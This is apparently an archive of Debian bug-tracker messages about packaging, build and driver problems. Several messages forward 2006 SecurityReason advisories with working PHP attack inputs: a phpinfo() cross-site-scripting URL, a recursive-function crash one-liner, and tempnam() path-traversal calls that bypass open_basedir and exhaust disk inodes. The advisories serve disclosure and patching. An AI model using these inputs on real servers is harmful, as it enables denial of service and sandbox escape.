-$data = @fread($fp, filesize($this->cache_file));
+$data = false;
+$file_size = @filesize($this->cache_file);
+if ( ($file_size !== false) && ($file_size > 0) ) {
+$data = @fread($fp, $file_size);
+}
if ( ($data !== false) && (strlen($data) > 0) ) {
//
-- System Information:
Debian Release: 12.1
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500,
'oldoldstable-updates'), (500, 'oldoldstable'), (500, 'stable'), (100,
'bookworm-fasttrack'), (100, 'bookworm-backports-staging')
Architecture: amd64 (x86_64)
Kernel: Linux 5.10.0-23-amd64 (SMP w/2 CPU threads)
Locale: LANG=en_US.UTF-8, LC_CTYPE=sk_SK.UTF-8 (charmap=UTF-8),
LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages php-net-dns2 depends on:
ii php-common 2:93
php-net-dns2 recommends no packages.
php-net-dns2 suggests no packages.
-- no debconf information
Bug#540504: python-scipy: please clarify license status of stats/stats.py
On Wed, Aug 19, 2009 at 2:20 AM, Jakub Wilk wrote: > * Luca Falavigna , 2009-08-19, 10:51: >>> >>> This license: >>> - does not look DFSG-free to me. >> >> Why? > > I does not allow redestribution. (Well, it does not allow *anything*.) Hi, I am at the scipy 09 conference right now and lots of the scipy developers are here. I asked them and they say that disclaimer is not a license and that this module is available as a BSDish license, as you pointed out. The debian/copyright should of course be fixed to add the copyright license. Ondrej -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#554577: (bez předmětu)
I can confirm that using miredo on notebook is now really hard, after suspend->resume I need to restart it. -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#569145: Missing RTF_CLONING in net/route.h
Package: kfreebsd-kernel-headers Version: 0.46 Severity: serious The RTF_CLONING constant is missing in net/route.h (there is "unused, was RTF_CLONING" note instead), although it is defined in FreeBSD headers, noted in FreeBSD manpage and i don't find any notes indicating that is obsolete. This breaks build process of BIRD [*] package on kfreebsd archs and prevents new versions of BIRD to get into testing. [*] http://packages.debian.org/sid/bird -- Ondrej 'SanTiago' Zajicek (email: santi...@crfreenet.org) OpenPGP encrypted e-mails preferred (KeyID 0x11DEADC3, wwwkeys.pgp.net) "To err is human -- to blame it on a computer is even more so." -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#589592: numpy.get_include() returns the wrong string
On Tue, Jul 20, 2010 at 4:16 AM, David Ham wrote: > I think this error is similar to one I am seeing and it appears to be caused > by numpy.get_include() returning the wrong string. > > python -c 'import numpy; print numpy.get_include()' > > produces: > > /usr/lib/pymodules/python2.6/numpy/core/include > > but _numpyconfig.h and indeed all other header files under that path are > actually in: > > /usr/lib/pymodules/python2.6/numpy/core/include/numpy Well, but for example if you use the numpy support in Cython, the autogenerated .c files include the headers like this: #include "numpy/arrayobject.h" so I think the get_include() function is correct. I mean it depends on the convention of course. Ondrej -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#830607: [Python-modules-team] Bug#830607: python-simpy: accesses the internet during build
Hi, fixed :) Feel free to review it. -- Best regards Ondřej Nový
Bug#832338:
Feel free to add patches to fix this bug if you are considering it unacceptable. Thanks. -- Best regards Ondřej Nový
Bug#784612: [anki] Qt4's WebKit removal
Hi, I'm posting a modified version of Richard's Dockerfile for people using fcitx and Chinese. I know nothing about docker but the configuration appears to be running and can be used as the starting point for others. https://gist.github.com/ondrik/95850021e9046483df91c46d9a23ad2b Best, Ondra -- Ondrej Lengal （龍安卓） GPG: 40FD 3AE9 0BFA B151 4358 6194 5792 8315 149F 91C8 signature.asc Description: PGP signature
Bug#851649: [Python-modules-team] Bug#851649: python-webob: This version causes FTBFS of six OpenStack packages due backwards incompatibility
Hi, +1 for this solution, because freeze is near. We can upgrade to 1.7.0 after freeze for Buster. Thanks. -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#844234:
This is bug in libssl1.1 1.1.0c Downgrading to 1.1.0b fixies build. -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#844714:
python3-ply:Depends is perfectly supported:
https://anonscm.debian.org/git/python-modules/packages/ply.git/tree/debian/dh_python3-ply#n71
Removing of python{3,}-ply:Depends make package unusable (autopkgtest):
==
ERROR: test_c_lexer (unittest.loader._FailedTest)
--
ImportError: Failed to import test module: test_c_lexer
Traceback (most recent call last):
File "/usr/lib/python3.5/unittest/loader.py", line 153, in
loadTestsFromName
module = __import__(module_name)
File "/tmp/autopkgtest.3UeCGn/autopkgtest_tmp/tests/test_c_lexer.py",
line 6, in
from pycparser.c_lexer import CLexer
File "/usr/lib/python3/dist-packages/pycparser/__init__.py", line 14, in
from .c_parser import CParser
File "/usr/lib/python3/dist-packages/pycparser/c_parser.py", line 11, in
from ply import yacc
ImportError: No module named 'ply'
I think Adrian is right. Simple rebuild of this package fixies the problem.
--
S pozdravem/Best regards
Ondřej Nový
Email: n...@ondrej.org
PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Jabber: on...@njs.netlab.cz
ICQ: 115-674-713
Facebook: http://www.facebook.com/onovy
Tel/Cell: +420 777 963 207
Datová schránka: aypqr6c
Bug#833037: [PKG-Openstack-devel] Bug#833037: Bug#833037: python-factory-boy: missing depends on ipaddress
Hi, 2017-01-04 16:31 GMT+01:00 Thomas Goirand : > Please file a bug against ftp.debian.org to get the package removed. > Maybe orphan it first? -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#858123: Better solution
This should be better solution: https://review.openstack.org/#/c/447640/1 Comments? -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#857298: Salvaging python-cassandra for Stretch
Hi, 2017-04-06 17:49 GMT+02:00 Thomas Goirand : > I'll NMU. > because you are part of DPMT, why are you going to do NMU and not team upload? -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#857298: Salvaging python-cassandra for Stretch
Hi, sry for second email. 2017-04-06 17:49 GMT+02:00 Thomas Goirand : > Attached is the debdiff. As you can see, I'm attempting to use the new > system that creates -dbgsym, and transitioning to it. cite from: https://release.debian.org/stretch/freeze_policy.html Some examples of changes that are undesirable during a freeze: dropping a -dbg package in favour of -dbgsym I guess FTP masters will reject this unblock request. And auto -dbgsym doesn't support python-dbg. So it's wrong for Python C modules. -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#821967: Uploaded to DELAYED/2
hi, i sponsored Michael NMU and uploaded it to DELAYED/2 -- Best regards Ondřej Nový
Bug#822989: sso.debian.org: Can't login using Alioth account
Hi, 2016-04-30 19:02 GMT+02:00 Niels Thykier : > > Could you please check whether your issue is #780460 or if it is a > distinct issue? > distinct. My password contained some special characters. I found that bug so I changed my password (yesterday) to [a-zA-Z0-9]+. Still not working. -- Best regards Bc. Ondrej Novy
Bug#823166:
I can't reproduce it locally. Can you attach output of this script from your env please? #!/usr/bin/python import getpass import pwd import os import grp user = getpass.getuser() ugroup = pwd.getpwnam(user).pw_gid os_groups = os.getgroups() groups = [g.gr_gid for g in grp.getgrall() if user in g.gr_mem] print "getpass.getuser: %s" % user print "pwd.getpwname(user).pw_gid: %d" % ugroup print "os.getgroups(): %s" % os_groups print "grp.getgrall() filtered: %s" % groups ## My result: onovy@sid:~$ ./test.py getpass.getuser: onovy pwd.getpwname(user).pw_gid: 1000 os.getgroups(): [27, 117, 1000] grp.getgrall() filtered: [27, 117] Which passes tests. Thanks. -- Best regards Bc. Ondrej Novy Email: n...@ondrej.org GPG: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#749073: python-suds: does not delete directories in /tmp, causing DoS
Package: python-suds Version: 0.3.9-1+deb6u1 Severity: serious Justification: breaks unrelated software The deb6u1 update to python-suds fixed insecure temporary directory creation (/tmp/suds) by creating directories with random names in /tmp. However, these directories are never deleted, causing /tmp to reach subdirectory limit (~32000 on ext3), breaking various other programs that want to create a temporary directory in /tmp (they get "Too many links" error). -- System Information: Debian Release: 6.0.9 APT prefers oldstable-updates APT policy: (500, 'oldstable-updates'), (500, 'oldstable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages python-suds depends on: ii python 2.6.6-3+squeeze7 interactive high-level object-orie ii python-pkg-resources0.6.14-4 Package Discovery and Resource Acc ii python-support 1.0.10 automated rebuilding support for P python-suds recommends no packages. python-suds suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#755877: Bad rerender in Gnome (sometimes i see strange shapes insead of right view)
Package: xserver-xorg-video-intel Version: 2:2.21.15-2+b2 Severity: serious Problem occurs sometimes, typical when must be refresh / redraw full sreen (switch view in gnome-shell), after unlock screen etc. -- Package-specific info: X server symlink status: lrwxrwxrwx 1 root root 13 Dec 28 2013 /etc/X11/X -> /usr/bin/Xorg -rwxr-xr-x 1 root root 2356320 Jul 18 00:25 /usr/bin/Xorg VGA-compatible devices on PCI bus: -- 00:02.0 VGA compatible controller [0300]: Intel Corporation 82945G/GZ Integrated Graphics Controller [8086:2772] (rev 02) /etc/X11/xorg.conf does not exist. /etc/X11/xorg.conf.d does not exist. /etc/modprobe.d contains no KMS configuration files. Kernel version (/proc/version): --- Linux version 3.14-1-amd64 (debian-ker...@lists.debian.org) (gcc version 4.8.3 (Debian 4.8.3-4) ) #1 SMP Debian 3.14.12-1 (2014-07-11) Xorg X server log files on system: -- -rw-r--r-- 1 root root 8227 Feb 28 17:42 /var/log/Xorg.4.log -rw-r--r-- 1 root root 8227 Feb 28 17:42 /var/log/Xorg.5.log -rw-r--r-- 1 root root 38425 Mar 7 08:43 /var/log/Xorg.3.log -rw-r--r-- 1 root root 38791 May 1 17:22 /var/log/Xorg.2.log -rw-r--r-- 1 root root 45236 Jul 13 13:28 /var/log/Xorg.1.log -rw-r--r-- 1 root root 51503 Jul 23 22:53 /var/log/Xorg.0.log Contents of most recent Xorg X server log file (/var/log/Xorg.0.log): - [21.349] X.Org X Server 1.15.1 Release Date: 2014-04-13 [21.349] X Protocol Version 11, Revision 0 [21.349] Build Operating System: Linux 3.13-1-amd64 x86_64 Debian [21.349] Current Operating System: Linux asus 3.14-1-amd64 #1 SMP Debian 3.14.9-1 (2014-06-30) x86_64 [21.349] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-3.14-1-amd64 root=UUID=566f9e50-43c2-4caa-b015-9af4c53a415b ro quiet [21.349] Build Date: 15 April 2014 06:58:36PM [21.349] xorg-server 2:1.15.1-1 (http://www.debian.org/support) [21.349] Current version of pixman: 0.32.4 [21.349]Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. [21.349] Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. [21.349] (==) Log file: "/var/log/Xorg.0.log", Time: Wed Jul 23 11:19:42 2014 [21.417] (==) Using system config directory "/usr/share/X11/xorg.conf.d" [21.472] (==) No Layout section. Using the first Screen section. [21.472] (==) No screen section available. Using defaults. [21.472] (**) |-->Screen "Default Screen Section" (0) [21.472] (**) | |-->Monitor "" [21.473] (==) No monitor specified for screen "Default Screen Section". Using a default monitor configuration. [21.473] (==) Automatically adding devices [21.473] (==) Automatically enabling devices [21.473] (==) Automatically adding GPU devices [21.512] (WW) The directory "/usr/share/fonts/X11/cyrillic" does not exist. [21.512]Entry deleted from font path. [21.529] (==) FontPath set to: /usr/share/fonts/X11/misc, /usr/share/fonts/X11/100dpi/:unscaled, /usr/share/fonts/X11/75dpi/:unscaled, /usr/share/fonts/X11/Type1, /usr/share/fonts/X11/100dpi, /usr/share/fonts/X11/75dpi, built-ins [21.529] (==) ModulePath set to "/usr/lib/xorg/modules" [21.529] (II) The server relies on udev to provide the list of input devices. If no devices become available, reconfigure udev or disable AutoAddDevices. [21.529] (II) Loader magic: 0x7f0641236d40 [21.529] (II) Module ABI versions: [21.529]X.Org ANSI C Emulation: 0.4 [21.529]X.Org Video Driver: 15.0 [21.529]X.Org XInput driver : 20.0 [21.529]X.Org Server Extension : 8.0 [21.530] (II) xfree86: Adding drm device (/dev/dri/card0) [21.531] (--) PCI:*(0:0:2:0) 8086:2772:1043:817a rev 2, Mem @ 0xdfe0/524288, 0xe000/268435456, 0xdfe8/262144, I/O @ 0x8000/8 [21.531] Initializing built-in extension Generic Event Extension [21.531] Initializing built-in extension SHAPE [21.531] Initializing built-in extension MIT-SHM [21.531] Initializing built-in extension XInputExtension [21.531] Initializing built-in extension XTEST [21.531] Initializing built-in extension BIG-REQUESTS [21.531] Initializing built-in extension SYNC [21.531] Initializing built-in extension XKEYBOARD [21.532] Initializing built-in extension XC-MISC [21.532] Initializing built-in extension SECURITY [21.532] Initializing built-in extension XINERAMA [21.532] Initializing built-in extension XFIXES [21.532] Initializing built-in extension RENDER [21.532] Initializing built-in extension RANDR [21.532] Initializing built
Bug#616372: cannot start because of python-sip API version mismatch
Hi, is there any progress? I cannot manage my ebooks collection now :-(. Best regards, Ondra signature.asc Description: Digital signature
Bug#373991: poppler: FTBFS: invalid conversion
On Fri, 2006-06-16 at 19:07 +0200, Julien Danjou wrote: > Package: poppler > Version: 0.4.5-4 > Severity: serious > > Hello, > > There was a problem while autobuilding your package: > > SplashFTFont.cc:24:10: error: #include expects "FILENAME" or Hi, according to this ^^^ and looking into source codes it looks more like some regression in libxft. I will try to reproduce this error in current sid pbuilder and get back with result... Ondrej. -- Ondrej Sury <[EMAIL PROTECTED]> signature.asc Description: This is a digitally signed message part
Bug#361856: [php-maint] Bug#361856: copy() Safe Mode Bypass PHP 4.4.2 and 5.1.2
turn 1 and skip security.
if (PG(safe_mode) &&(!php_checkuid(Z_STRVAL_PP(source), NULL,
CHECKUID_CHECK_FILE_AND_DIR))) {
RETURN_FALSE;
}
return true.
Rest functions have checking safe_mode without path and safe mode works.
I don't have tested
all functions in php ;].
- --- 2. How to fix ---
CVS
http://cvs.php.net/viewcvs.cgi/php-src/NEWS
- --- 3. Exploit ---
http://securityreason.com/achievement_exploitalert/8
- --- 4. Greets ---
For: sp3x
and
p_e_a, eax, Infospec
- --- 5. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.2.2 (FreeBSD)
iD8DBQFEOAu93Ke13X/fTO4RApXzAKC4OuM/3vn8kyw+EP2R8YVYyH9gkgCcDCMj
2dB55e2x6sPGBJW+w9Kw/OY=
=Lfuk
-END PGP SIGNATURE-
--
Ondrej Sury <[EMAIL PROTECTED]>
signature.asc
Description: This is a digitally signed message part
Bug#361853: [php-maint] Bug#361853: phpinfo() Cross Site Scripting PHP 5.1.2 and 4.4.2
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
[phpinfo() Cross Site Scripting PHP 5.1.2 and 4.4.2]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 26.2.2006
- -Public: 8.4.2006
from SecurityReason.Com
CVE-2006-0996
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and
Perl with a couple of unique PHP-specific features thrown in. The goal
of the language is to
allow web developers to write dynamically generated pages quickly.
A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much
of the PHP Conference
Material is freely available.
- --- 1. Cross Site Scripting ---
In phpinfo() you can see all Varibles like:
file: standard/info.c
- -630-636---
php_print_gpcse_array("_REQUEST", sizeof("_REQUEST")-1 TSRMLS_CC);
php_print_gpcse_array("_GET", sizeof("_GET")-1 TSRMLS_CC);
php_print_gpcse_array("_POST", sizeof("_POST")-1 TSRMLS_CC);
php_print_gpcse_array("_FILES", sizeof("_FILES")-1 TSRMLS_CC);
php_print_gpcse_array("_COOKIE", sizeof("_COOKIE")-1 TSRMLS_CC);
php_print_gpcse_array("_SERVER", sizeof("_SERVER")-1 TSRMLS_CC);
php_print_gpcse_array("_ENV", sizeof("_ENV")-1 TSRMLS_CC);
- -630-636---
Function php_print_gpcse_array() for any arrays check 4096b of varible.
file: standard/info.c
- -135-154---
if (Z_TYPE_PP(tmp) == IS_ARRAY) {
zval *tmp3;
MAKE_STD_ZVAL(tmp3);
if (!sapi_module.phpinfo_as_text) {
PUTS("");
}
php_start_ob_buffer(NULL, 4096, 1 TSRMLS_CC);
zend_print_zval_r(*tmp, 0);
php_ob_get_buffer(tmp3 TSRMLS_CC);
php_end_ob_buffer(0, 0 TSRMLS_CC);
elem_esc = php_info_html_esc(Z_STRVAL_P(tmp3) TSRMLS_CC);
PUTS(elem_esc);
efree(elem_esc);
zval_ptr_dtor(&tmp3);
if (!sapi_module.phpinfo_as_text) {
PUTS("");
}
} else if (Z_TYPE_PP(tmp) != IS_STRING) {
- -135-154---
So if we create array longer like 4096, html tags don't be remove.
Exploit:
If in php script is function phpinfo() try create some varibles (array)
like
phpinfo.php?cx[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=[XSS
]
or
phpinfo.php?cx[]=c..~4096chars...ccc[XSS]
- --- 2. How to fix ---
CVS
http://cvs.php.net/viewcvs.cgi/php-src/NEWS
- --- 3. Greets ---
For: sp3x
and
p_e_a, pi3, eax ;]
- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.2.2 (FreeBSD)
iD8DBQFEOAIl3Ke13X/fTO4RAo4LAJ0fBxJWN64vWrDYJEuhGkqc/OC42QCbBxip
f35+6LHjuBoqP5D2JV84ufs=
=iz3m
-END PGP SIGNATURE-
--
Ondrej Sury <[EMAIL PROTECTED]>
signature.asc
Description: This is a digitally signed message part
Bug#361854: [php-maint] Bug#361854: function *() php/apache Crash PHP 4.4.2 and 5.1.2
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
[function *() php/apache Crash PHP 4.4.2 and 5.1.2]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 21.3.2006
- -Public: 8.4.2006
from SECURITYREASON.COM
CVE-2006-1549
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and
Perl with a couple of unique PHP-specific features thrown in. The goal
of the language is to
allow web developers to write dynamically generated pages quickly.
A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much
of the PHP Conference
Material is freely available.
- --- 1. function *() Crash ---
PHP4/5 is vulnerability to a local denial-of-service. General problem is
in allocated data to
memory.
for example attack:
cxib# php -r 'function cx(){ cx(); } cx();'
Segmentation fault (core dumped)
cxib#
Segfault.. let`s see what we have in gdb
- ---
cxib# cat /www/functionsegfault.php
cxib# gdb -q php
(gdb) r '/www/functionsegfault.php'
Starting program: /usr/local/bin/php '/www/functionsegfault.php'
Program received signal SIGSEGV, Segmentation fault.
0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260,
__zend_filename=0x811d8c0
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c",
__zend_lineno=1568)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
111 /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c: No such
file or
directory.
in /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c
(gdb) bt
#0 0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260,
__zend_filename=0x811d8c0
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c",
__zend_lineno=1568)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
#1 0x080f042a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1568
#2 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#3 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#4 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#5 0x080f019a in execute (op_array=0x81b3880)
...
- ---
or in apache error_log
[Mon Mar 20 12:12:54 2006] [notice] child pid 744 exit signal Illegal
instruction (4)
- --- 2. Greets ---
For: sp3x
and
p_e_a, pi3, eax, Infospec ;]
- --- 3. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.2.2 (FreeBSD)
iD8DBQFEOAT43Ke13X/fTO4RAiFnAKC+vzJm1w24b4VN9CMdhE6e6a2L4QCePbp7
lNzhZke21IHXM0TvvjntXyY=
=Y7Ft
-END PGP SIGNATURE-
--
Ondrej Sury <[EMAIL PROTECTED]>
signature.asc
Description: This is a digitally signed message part
Bug#361855: [php-maint] Bug#361855: tempnam() open_basedir bypass PHP 4.4.2 and 5.1.2
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
[tempnam() open_basedir bypass PHP 4.4.2 and 5.1.2]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 26.3.2006
- -Public: 8.4.2006
from SECURITYREASON.COM
CVE-2006-1494
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and
Perl with a couple of unique PHP-specific features thrown in. The goal
of the language is to
allow web developers to write dynamically generated pages quickly.
A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much
of the PHP Conference
Material is freely available.
tempnam -- Create file with unique file name
- --- 1. tempnam() open_basedir bypass ---
In function tempname() are required 2 arg`s.
http://pl.php.net/manual/en/function.tempnam.php
string tempnam ( string dir, string prefix )
So, if we have open_basedir set to /home, we can't create file
over /home directory.
In ext/standard/file.c (PHP 4.4.2)
- -550-578---
PHP_FUNCTION(tempnam)
{
pval **arg1, **arg2;
char *d;
char *opened_path;
char p[64];
FILE *fp;
if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) ==
FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(arg1);
convert_to_string_ex(arg2);
if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
RETURN_FALSE;
}
d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));
strlcpy(p, Z_STRVAL_PP(arg2), sizeof(p));
if ((fp = php_open_temporary_file(d, p, &opened_path TSRMLS_CC))) {
fclose(fp);
RETVAL_STRING(opened_path, 0);
} else {
RETVAL_FALSE;
}
efree(d);
}
- -550-578---
if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
RETURN_FALSE;
}
Where is arg2?
So we can write exploit like:
tempnam("path_from_open_basedir",
"../../../../../../../../Open_basedir_bypasswd");
tempnam("/home", "../../../../../../tmp/cx");
etc.
It is low issue but you can try create a lot of files and overload
inodes from HD.I have one
particion.
/var /dev/ad0s1e 1.0G 97M 858M 10% /var <- Space (B)
/dev/ad0s1e 1012974 94472 837466 10% 3796 137514 3% /var <- INODES
where mysql and apache try create some file. WWhen we overload free
inodes, system have big
problem with apache, mysql.
Example:
cxib# php -r 'function cx(){ tempnam("/www/",
"../../../../../../var/tmp/cx"); cx(); } cx();'
/var: create/symlink failed, no inodes free
/var: create/symlink failed, no inodes free
/var: create/symlink failed, no inodes free
/var: create/symlink failed, no inodes free
... etc
/usr/local/libexec/mysqld: Can't create/write to file
'/var/tmp/ibBIsZ6o' (Errcode: 13)
And mysql die()!
- --- 2. How to fix ---
CVS
http://cvs.php.net/viewcvs.cgi/php-src/NEWS
- --- 3. Greets ---
For: sp3x
and
p_e_a, pi3, eax, Infospec ;]
- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.2.2 (FreeBSD)
iD8DBQFEOAZB3Ke13X/fTO4RAiDmAKCbBZP8JBC0F/9cB5OgUFJPgqHB4QCgon9L
kBEMIExP2TZ0+NP7l5uk9TE=
=f3i4
-END PGP SIGNATURE-
--
Ondrej Sury <[EMAIL PROTECTED]>
signature.asc
Description: This is a digitally signed message part
Bug#376423: Uninstallable due to versioned dep on mozilla-thunderbird (<< 1.1)
tags 376423 +pending thank you Hi, Hans Öfverbeck is adopting this package and he'll build all languages from one source. Ondrej On Sun, 2006-07-02 at 23:20 +0200, Luk Claes wrote: > Package: mozilla-thunderbird-locale-cs > Severity: serious > Version: 1.07debian-1 > > Hi > > Your package is not installable as the needed mozilla-thunderbird > version << 1.1 is not available anymore. > > Cheers > > Luk > -- Ondrej Sury <[EMAIL PROTECTED]>
Bug#377982: the same bug
I have the same problem, what is the workaround for this bug? Thanks, Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#329065: [php-maint] Bug#329065: php5-sybase: sybase_ct doesn't always return correct results from MS SQL
severity 329065 normal thank you This is not grave bug. It happens only on interfacing MS-SQL and only on some circumstances. Ondrej On Mon, 2005-09-19 at 11:02 +0200, Johan Palmqvist wrote: > Package: php5-sybase > Version: 5.0.4-3 > Severity: grave > Justification: causes non-serious data loss > > > sybase_ct doesn't always return correct results from MS SQL. > mssql module seem to work in all cases but is not packaged. > > > -- System Information: > Debian Release: testing/unstable > APT prefers unstable > APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable') > Architecture: i386 (i686) > Shell: /bin/sh linked to /bin/bash > Kernel: Linux 2.6.12.2 > Locale: LANG=sv_SE, LC_CTYPE=sv_SE (charmap=ISO-8859-1) (ignored: LC_ALL set > to sv_SE) > > Versions of packages php5-sybase depends on: > ii debconf [debconf-2.0] 1.4.58 Debian configuration management > sy > ii libapache2-mod-php5 [phpapi-2 5.0.4-3server-side, HTML-embedded > scripti > ii libc6 2.3.5-6GNU C Library: Shared libraries > an > ii libct30.63-2 libraries for connecting to MS > SQL > ii php5-cgi [phpapi-20041030]5.0.4-3server-side, HTML-embedded > scripti > ii php5-cli [phpapi-20041030]5.0.4-3command-line interpreter for the > p > ii php5-common 5.0.4-3Common files for packages built > fr > > php5-sybase recommends no packages. > > -- debconf information: > php5/remove_extension: true > php5/add_extension: true > php5/extension_sybase_ct_cgi: true > php5/extension_sybase_ct_cli: true > php5/extension_sybase_ct_apache2: true > > > ___ > pkg-php-maint mailing list > [EMAIL PROTECTED] > http://lists.alioth.debian.org/mailman/listinfo/pkg-php-maint -- Ondrej Sury <[EMAIL PROTECTED]> signature.asc Description: This is a digitally signed message part
Bug#334920: ** PROBLEM alert - lonemountain/IMAPS is CRITICAL ** (fwd)
Hello Please provide some downgrade package links, this cannot leave in this state. IMAPS is not working. Ondrej -- /\ Ondrej Jombik - [EMAIL PROTECTED] - http://nepto.sk - ICQ #122428216 //\\ Platon Group - open source software development - http://platon.sk //\\ 10 types of people: those who understand binary & those who do not -- Forwarded message -- From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: ** PROBLEM alert - lonemountain/IMAPS is CRITICAL ** Date: Sat, 29 Oct 2005 05:35:07 +0200 (CEST) * Nagios * Notification Type: PROBLEM Service: IMAPS Host: lonemountain Address: 1.2.3.4 State: CRITICAL Date/Time: Sat Oct 29 05:35:07 CEST 2005 Additional Info: CRITICAL - Cannot make SSL connection -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#334920: ** PROBLEM alert - lonemountain/IMAPS is CRITICAL ** (fwd)
